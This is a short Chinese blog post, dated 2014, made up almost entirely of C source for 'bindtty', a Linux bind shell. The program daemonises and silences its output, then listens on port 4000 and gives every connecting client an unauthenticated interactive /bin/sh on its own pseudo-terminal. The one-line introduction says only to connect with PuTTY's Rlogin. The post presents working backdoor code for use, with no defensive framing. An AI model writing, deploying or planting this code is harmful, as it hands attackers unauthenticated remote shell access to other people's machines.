不多说,上代码,用putty的Rlogin直接连接就行了

  1 /*
  2     bindtty - like bindshell, but with tty
  3     Features:
  4         - it can handle any number of clients
  5         - allocates tty for each session
  6         - no using termios.h/tty.h: compiles on most of gccs
  7         - linux specific ;(
  8 
  9     by sd & wzt
 10 */
 11 
 12 #include <sys/wait.h>
 13 #include <sys/types.h>
 14 #include <sys/resource.h>
 15 
 16 #include <stdio.h>
 17 #include <stdlib.h>
 18 #include <unistd.h>
 19 #include <signal.h>
 20 #include <sys/types.h>
 21 #include <sys/stat.h>
 22 #include <termios.h>
 23 #include <sys/socket.h>
 24 #include <netinet/in.h>
 25 #include <string.h>
 26 #include <fcntl.h>
 27 #include <stropts.h>
 28 #include <errno.h>
 29 
 30 #define DEBUG
 31 
 32 #define MAXUSER 10
 33 #define HOME "/tmp"
 34 
 35 #define TIOCSCTTY 0x540E
 36 #define TIOCGWINSZ 0x5413
 37 #define TIOCSWINSZ 0x5414
 38 #define ECHAR 0x1d
 39 
 40 #define PORT 4000
 41 
 42 #define BUF 32768
 43 
 44 struct winsize {
 45         unsigned short ws_row;
 46         unsigned short ws_col;
 47         unsigned short ws_xpixel;
 48         unsigned short ws_ypixel;
 49 };
 50 
 51 int pty,tty;
 52 
 53 /* to avoid creating zombies ;) */
 54 void sig_child(int i)
 55 {
 56         signal(SIGCHLD, sig_child);
 57         waitpid(-1, NULL, WNOHANG);
 58 }
 59 
 60 void hangout(int i)
 61 {
 62         kill(0, SIGHUP);
 63         kill(0, SIGTERM);
 64 }
 65 
 66 int ptym_open(char *pts_name)
 67 {
 68         char *ptr;
 69         int fd;
 70 
 71         strcpy(pts_name,"/dev/ptmx");
 72         if ((fd = open(pts_name,O_RDWR)) < 0) {
 73                 printf("[-] open %s failed.\n",pts_name);
 74                 return -1;
 75         }
 76         printf("[+] open %s : %d ok.\n","/dev/ptmx",fd);
 77 
 78         if (grantpt(fd) < 0) {
 79                 close(fd);
 80                 return -2;
 81         }
 82      printf("[+] grantpt ok.\n");
 83 
 84         if (unlockpt(fd) < 0) {
 85                 close(fd);
 86                 return -3;
 87         }
 88     printf("[+] unlockpt ok.\n");
 89 
 90         if ((ptr = ptsname(fd)) == NULL) {
 91                 printf("[-] get free pts name failed.\n");
 92                 close(fd);
 93                 return -4;
 94         }
 95 
 96         strcpy(pts_name,ptr);
 97 
 98         return fd;
 99 }
100 
101 int ptys_open(int fd,char *pts_name)
102 {
103         int fds;
104 
105         if ((fds = open(pts_name,O_RDWR)) < 0) {
106                 printf("[-] open %s failed.\n",pts_name);
107                 close(fd);
108                 return -5;
109         }
110 
111     printf("[+] open %s ok.\n",pts_name);
112 
113         if (ioctl(fds,I_PUSH,"ptem") < 0) {
114                 return fds;
115         }
116         printf("[+] set ptem ok.\n");
117 
118         if (ioctl(fds,I_PUSH,"ldterm") < 0) {
119         return fds;
120         }
121     printf("[+] set ldterm ok.\n");
122 
123         if (ioctl(fds,I_PUSH,"ttcompat") < 0) {
124                 return fds;
125         }
126     printf("[+] set ttcompat ok.\n");
127 
128         return fds;
129 }
130 
131 int open_tty()
132 {
133         char pts_name[20];
134 
135         pty = ptym_open(pts_name);
136 
137         tty = ptys_open(pty,pts_name);
138 
139         if (pty >= 0 && tty >=0 )
140                 return 1;
141         return 0;
142 }
143 
144 /* bind a local port */
145 int listen_port(int port)
146 {
147     struct sockaddr_in my_addr,remote_addr;
148     int sock_fd,sock_id;
149     int size,flag = 1;
150 
151     if( (sock_fd = socket(AF_INET,SOCK_STREAM,0)) == -1 ) {
152 #ifdef DEBUG
153         perror("[-] socket");
154 #endif
155         exit(1);
156     }
157 
158     my_addr.sin_family = AF_INET;
159     my_addr.sin_port = port;
160     my_addr.sin_addr.s_addr = 0;
161 
162         setsockopt(sock_fd,SOL_SOCKET,SO_REUSEADDR, (char*)&flag,sizeof(flag));
163 
164         if( bind(sock_fd,(struct sockaddr *)&my_addr,sizeof(struct sockaddr)) == -1 ){
165 #ifdef DEBUG
166                 perror("[-] bind");
167 #endif
168                 exit(1);
169     }
170 
171     if( listen(sock_fd,MAXUSER) == -1 ){
172 #ifdef DEBUG
173         perror("[-] listen");
174 #endif
175         exit(1);
176     }
177 
178     return sock_fd;
179 }
180 
181 int main()
182 {
183         int sock,port;
184         int pid;
185         struct sockaddr_in cli;
186 
187         port = PORT;
188         sock = listen_port(htons(port));
189         if (sock < 0)
190                 exit(0);
191                 
192         printf("Daemon is starting..."); fflush(stdout);
193         pid = fork();
194         if (pid !=0 ) {
195                 printf("OK, pid = %d\n", pid);
196                 return 0;
197         }
198 
199         chdir("/");
200 
201         pid = open("/dev/null", O_RDWR);
202         dup2(pid, 0);
203         dup2(pid, 1);
204         dup2(pid, 2);
205         close(pid);
206 
207         signal(SIGHUP, SIG_IGN);
208         signal(SIGCHLD, sig_child);
209 
210         while (1) {
211                 int scli;
212                 int slen;
213 
214                 slen = sizeof(cli);
215                 scli = accept(sock, (struct sockaddr *) &cli, &slen);
216                 if (scli < 0) continue;
217                 pid = fork();
218                 if (pid == 0) {
219                         int subshell;
220                         fd_set fds;
221                         char buf[BUF];
222                         char *argv[] = {"sh", "-i", NULL};
223                         #define MAXENV 256
224                         #define ENVLEN 256
225                         char *envp[MAXENV];
226                         char envbuf[(MAXENV+2) * ENVLEN];
227                         int j, i;
228                         char home[256];
229 
230                         /* setup enviroment */
231                         envp[0] = home;
232                         sprintf(home, "HOME=/tmp", HOME);
233                         j = 0;
234                         do {
235                                 i = read(scli, &envbuf[j * ENVLEN], ENVLEN);
236                                 envp[j+1] = &envbuf[j * ENVLEN];
237                                 j++;
238                                 if ((j >= MAXENV) || (i < ENVLEN)) break;
239                         } while (envbuf[(j-1) * ENVLEN] != '\n');
240                         envp[j+1] = NULL;
241 
242                         if (!open_tty()) {
243                                 char msg[] = "Can't fork pty, bye!\n";
244                                 write(scli, msg, strlen(msg));
245                                 close(scli);
246                                 exit(0);
247                         }
248                         setsid();
249                         /* fork child */
250                         subshell = fork();
251                         if (subshell == 0) {
252                                 /* close master */
253                                 close(pty);
254                                 /* attach tty */
255                                 setsid();
256                                 ioctl(tty, TIOCSCTTY);
257                                 /* close local part of connection */
258                                 close(scli);
259                                 close(sock);
260                                 signal(SIGHUP, SIG_DFL);
261                                 signal(SIGCHLD, SIG_DFL);
262                                 dup2(tty, 0);
263                                 dup2(tty, 1);
264                                 dup2(tty, 2);
265                                 close(tty);
266                                 execve("/bin/sh", argv, envp);
267                         }
268                         /* close slave */
269                         close(tty);
270 
271                         signal(SIGHUP, hangout);
272                         signal(SIGTERM, hangout);
273 
274                         while (1) {
275                                 /* watch tty and client side */
276                                 FD_ZERO(&fds);
277                                 FD_SET(pty, &fds);
278                                 FD_SET(scli, &fds);
279                                 if (select((pty > scli) ? (pty+1) : (scli+1),
280                                         &fds, NULL, NULL, NULL) < 0)
281                                 {
282                                         break;
283                                 }
284                                 if (FD_ISSET(pty, &fds)) {
285                                         int count;
286                                         count = read(pty, buf, BUF);
287                                         if (count <= 0) break;
288                                         if (write(scli, buf, count) <= 0) break;
289                                 }
290                                 if (FD_ISSET(scli, &fds)) {
291                                         int count;
292                                         unsigned char *p, *d;
293                                         d = buf;
294                                         count = read(scli, buf, BUF);
295                                         if (count <= 0) break;
296 
297                                         /* setup win size */
298                                         p = memchr(buf, ECHAR, count);
299                                         if (p) {
300                                                 unsigned char wb[5];
301                                                 int rlen = count - ((long) p - (long) buf);
302                                                 struct winsize ws;
303 
304                                                 /* wait for rest */
305                                                 if (rlen > 5) rlen = 5;
306                                                 memcpy(wb, p, rlen);
307                                                 if (rlen < 5) {
308                                                 read(scli, &wb[rlen], 5 - rlen);
309                                         }
310 
311                                         /* setup window */
312                                         ws.ws_xpixel = ws.ws_ypixel = 0;
313                                         ws.ws_col = (wb[1] << 8) + wb[2];
314                                         ws.ws_row = (wb[3] << 8) + wb[4];
315                                         ioctl(pty, TIOCSWINSZ, &ws);
316                                         kill(0, SIGWINCH);
317 
318                                         /* write the rest */
319                                         write(pty, buf, (long) p - (long) buf);
320                                         rlen = ((long) buf + count) - ((long)p+5);
321                                         if (rlen > 0) write(pty, p+5, rlen);
322                                 } else
323                                         if (write(pty, d, count) <= 0) break;
324                         }
325                 }
326             close(scli);
327             close(sock);
328             close(pty);
329 
330             waitpid(subshell, NULL, 0);
331             vhangup();
332             exit(0);
333         }
334         close(scli);
335     }
336 }

 

 

posted on 2014-02-28 03:04  举剑问天  阅读(487)  评论(0)    收藏  举报